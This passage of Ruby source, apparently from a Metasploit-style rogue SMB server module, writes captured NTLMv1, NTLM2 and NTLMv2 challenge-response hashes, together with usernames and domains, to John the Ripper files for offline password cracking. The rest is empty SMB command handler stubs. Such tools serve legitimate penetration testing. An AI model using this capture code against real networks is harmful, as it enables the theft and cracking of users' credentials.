if(datastore['JOHNPWFILE'] and smb[:username]) |
| 587 |
case ntlm_ver
|
| 588 |
when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 589 |
|
| 590 |
fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") |
| 591 |
fd.puts( |
| 592 |
[ |
| 593 |
smb[:username],"", |
| 594 |
smb[:domain] ? smb[:domain] : "NULL", |
| 595 |
lm_hash ? lm_hash : "0" * 48, |
| 596 |
nt_hash ? nt_hash : "0" * 48, |
| 597 |
@challenge.unpack("H*")[0] |
| 598 |
].join(":").gsub(/\n/, "\\n") |
| 599 |
) |
| 600 |
fd.close |
| 601 |
when NTLM_CONST::NTLM_V2_RESPONSE |
| 602 |
#lmv2
|
| 603 |
fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") |
| 604 |
fd.puts( |
| 605 |
[ |
| 606 |
smb[:username],"", |
| 607 |
smb[:domain] ? smb[:domain] : "NULL", |
| 608 |
@challenge.unpack("H*")[0], |
| 609 |
lm_hash ? lm_hash : "0" * 32, |
| 610 |
lm_cli_challenge ? lm_cli_challenge : "0" * 16 |
| 611 |
].join(":").gsub(/\n/, "\\n") |
| 612 |
) |
| 613 |
fd.close |
| 614 |
#ntlmv2
|
| 615 |
fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") |
| 616 |
fd.puts( |
| 617 |
[ |
| 618 |
smb[:username],"", |
| 619 |
smb[:domain] ? smb[:domain] : "NULL", |
| 620 |
@challenge.unpack("H*")[0], |
| 621 |
nt_hash ? nt_hash : "0" * 32, |
| 622 |
nt_cli_challenge ? nt_cli_challenge : "0" * 160 |
| 623 |
].join(":").gsub(/\n/, "\\n") |
| 624 |
) |
| 625 |
fd.close |
| 626 |
end
|
| 627 |
|
| 628 |
end
|
| 629 |
end
|
| 630 |
end
|
| 631 |
|
| 632 |
def smb_cmd_close(c, buff) |
| 633 |
end
|
| 634 |
|
| 635 |
def smb_cmd_create(c, buff) |
| 636 |
end
|
| 637 |
|
| 638 |
def smb_cmd_delete(c, buff) |
| 639 |
end
|
| 640 |
|
| 641 |
def smb_cmd_nttrans(c, buff) |
| 642 |
end
|
| 643 |
|
| 644 |
def smb_cmd_open(c, buff) |
| 645 |
end
|
| 646 |
|
| 647 |
def smb_cmd_read(c, buff) |
| 648 |
end
|
| 649 |
|
| 650 |
def smb_cmd_trans(c, buff) |
| 651 |
end
|
| 652 |
|
| 653 |
def smb_cmd_tree_connect(c, buff) |
| 654 |
end
|
| 655 |
|
| 656 |
def smb_cmd_tree_disconnect(c, buff) |
| 657 |
end
|
| 658 |
|
| 659 |
def smb_cmd_write(c, buff) |
| 660 |
end
|
| 661 |
|
| 662 |
end
|
| 663 |
|